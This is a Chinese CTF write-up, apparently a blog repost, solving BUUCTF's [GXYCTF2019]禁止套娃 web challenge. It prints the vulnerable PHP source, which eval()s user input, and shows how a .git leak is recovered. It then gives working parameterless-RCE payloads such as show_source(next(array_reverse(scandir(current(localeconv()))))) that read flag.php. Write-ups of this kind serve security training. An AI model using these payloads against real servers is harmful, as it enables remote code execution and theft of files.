首页 > 其他分享 >BUUCTF:[GXYCTF2019]禁止套娃

BUUCTF:[GXYCTF2019]禁止套娃

时间:2023-06-19 19:33:27浏览次数:47  
标签:BUUCTF 套娃 exp GET preg 数组 scandir GXYCTF2019 函数


https://buuoj.cn/challenges#[GXYCTF2019]%E7%A6%81%E6%AD%A2%E5%A5%97%E5%A8%83

BUUCTF:[GXYCTF2019]禁止套娃_php


BUUCTF:[GXYCTF2019]禁止套娃_函数返回_02


.git泄露,使用GitHack

BUUCTF:[GXYCTF2019]禁止套娃_函数返回_03


index.php

<?php
include "flag.php";
echo "flag在哪里呢?<br>";
if(isset($_GET['exp'])){
    if (!preg_match('/data:\/\/|filter:\/\/|php:\/\/|phar:\/\//i', $_GET['exp'])) {
        if(';' === preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])) {
            if (!preg_match('/et|na|info|dec|bin|hex|oct|pi|log/i', $_GET['exp'])) {
                // echo $_GET['exp'];
                @eval($_GET['exp']);
            }
            else{
                die("还差一点哦!");
            }
        }
        else{
            die("再好好想想!");
        }
    }
    else{
        die("还想读flag,臭弟弟!");
    }
}
// highlight_file(__FILE__);
?>

两个preg_match()过滤一些关键字,主要看到

preg_replace('/[a-z,_]+\((?R)?\)/', NULL, $_GET['exp'])

?R表示引用正则表达式本身,那么这里允许传入的应该就是下面这种格式

xxx(xxx(xxx(...)));

函数形式,但是不能有参数,无参数RCE,这种时候就需要翻手册了,查找无参数可利用的函数

首先,需要一个浏览目录内的所有文件的函数,这个当然首选:scandir()。当scandir()传入'.',可以列出当前目录的所有文件

BUUCTF:[GXYCTF2019]禁止套娃_php_04


所以如果有函数能够返回'.'的话,就可以利用它作为scandir()的参数

localeconv() 函数返回一包含本地数字及货币格式信息的数组

BUUCTF:[GXYCTF2019]禁止套娃_数组_05

接下来只需要使得指针指向这个数组内的第一个值

current() 函数返回数组中的当前元素的值。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

pos() 函数返回数组中的当前元素的值。该函数是 current() 函数的别名。每个数组中都有一个内部的指针指向它的"当前"元素,初始指向插入到数组中的第一个元素。

?exp=var_dump(scandir(current(localeconv())));

BUUCTF:[GXYCTF2019]禁止套娃_函数返回_06


接下来看如何读取到flag.php

next() 函数将内部指针指向数组中的下一个元素,并输出。

array_reverse() 函数返回翻转顺序的数组。

把数组顺序倒一下,然后使用next(),就可以读到flag

?exp=show_source(next(array_reverse(scandir(current(localeconv())))));

BUUCTF:[GXYCTF2019]禁止套娃_php_07


标签:BUUCTF,套娃,exp,GET,preg,数组,scandir,GXYCTF2019,函数
From: https://blog.51cto.com/u_16159500/6517103

相关文章

  • BUUCTF:[ACTF2020 新生赛]Upload
    题目地址:https://buuoj.cn/challenges#[ACTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B]Upload图片马,filename改为.phtmlhttp://7f46d4ae-8320-44f5-a608-db84399f39e5.node3.buuoj.cn/uplo4d/0094153d9fd2e4a052850a6d656cefb6.phtml......
  • BUUCTF:[极客大挑战 2019]Upload
    题目地址:https://buuoj.cn/challenges#[%E6%9E%81%E5%AE%A2%E5%A4%A7%E6%8C%91%E6%88%98%202019]UploadPOST/upload_file.phpHTTP/1.1Host:b40c1d53-d3d6-43be-9f6d-67c767946f8c.node3.buuoj.cnUser-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64;rv:82.0)Gecko/2010......
  • BUUCTF: [MRCTF2020]Ezpop
    https://buuoj.cn/challenges#[MRCTF2020]Ezpop<?phpclassModifier{protected$var;publicfunctionappend($value){include($value);}publicfunction__invoke(){$this->append($this->var);}}classShow{......
  • BUUCTF:[ASIS 2019]Unicorn shop
    https://buuoj.cn/challenges#[ASIS%202019]Unicorn%20shop功能是一个购物商店,输入商品ID和价钱进行点击购买。源代码中提醒<metacharset="utf-8">很重要html使用的是UTF-8编码id和price都为空点击购买,返回报错及原因从中可以发现源代码是如何处理price的使用的是unicodedata......
  • BUUCTF:[羊城杯 2020]image_rar
    binwalk分析xiao_mi2.mp4发现很多压缩包,压缩了很多图片将xiao_mi2.mp4修改后缀改为xiao_mi2.zip得到一个hint,但这个压缩包密码并不是指当前的zip压缩包继续往后看,解压这些图片之后发现里面只有65.jpg显示不正常010Editor打开65.jpg文件头ara!,非常类似rar压缩包的文件头Rar!,修......
  • BUUCTF:[UTCTF2020]sstv
    https://buuoj.cn/challenges#[UTCTF2020]sstvattachment.wavKali安装QSSTVapt-getinstallqsstvOptions->Configuration->Sound勾选Fromfile然后点击这个小按钮,选择attachment.wav开始解码flag{6bdfeac1e2baa12d6ac5384cdfd166b0}......
  • BUUCTF:[BSidesSF2019]table-tennis
    https://buuoj.cn/challenges#[BSidesSF2019]table-tennisattachment.pcapng在ICMP包的尾部发现html代码,其中有打印base64信息拼接起来就是Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9>>>importbase64>>>base64.b64decode('Q1RGe0p1c3RBUzBuZ0FiMHV0UDFuZ1Awbmd9')b&......
  • BUUCTF:[GUET-CTF2019]soul sipse
    https://buuoj.cn/challenges#[GUET-CTF2019]soul%20sipseout.wav可用Steghide无密码分离出download.txtdownload.txthttps://share.weiyun.com/5wVTIN3下载得到GUET.png,修改为正确的PNG文件头保存得到正常的图片。如下\u0034\u0030\u0037\u0030\u000d\u000a\u0031\u0032\u0033\u0......
  • BUUCTF:[INSHack2017]remote-multimedia-controller
    https://buuoj.cn/challenges#[INSHack2017]remote-multimedia-controllerremote-media-controler.pcap流量包中发现一个长度很大的包,里面有一串base64,解了一下发现是套娃,直接用脚本importbase64withopen('base64.txt','r')asfile:codestr=file.read()try:......
  • BUUCTF:[DDCTF2018]流量分析
    https://buuoj.cn/challenges#[DDCTF2018]%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90流量分析.pcap流量分析.txt流量分析200pt提示一:若感觉在中间某个容易出错的步骤,若有需要检验是否正确时,可以比较MD5:90c490781f9c320cd1ba671fcb112d1c提示二:注意补齐私钥格式-----BEGINRSAPR......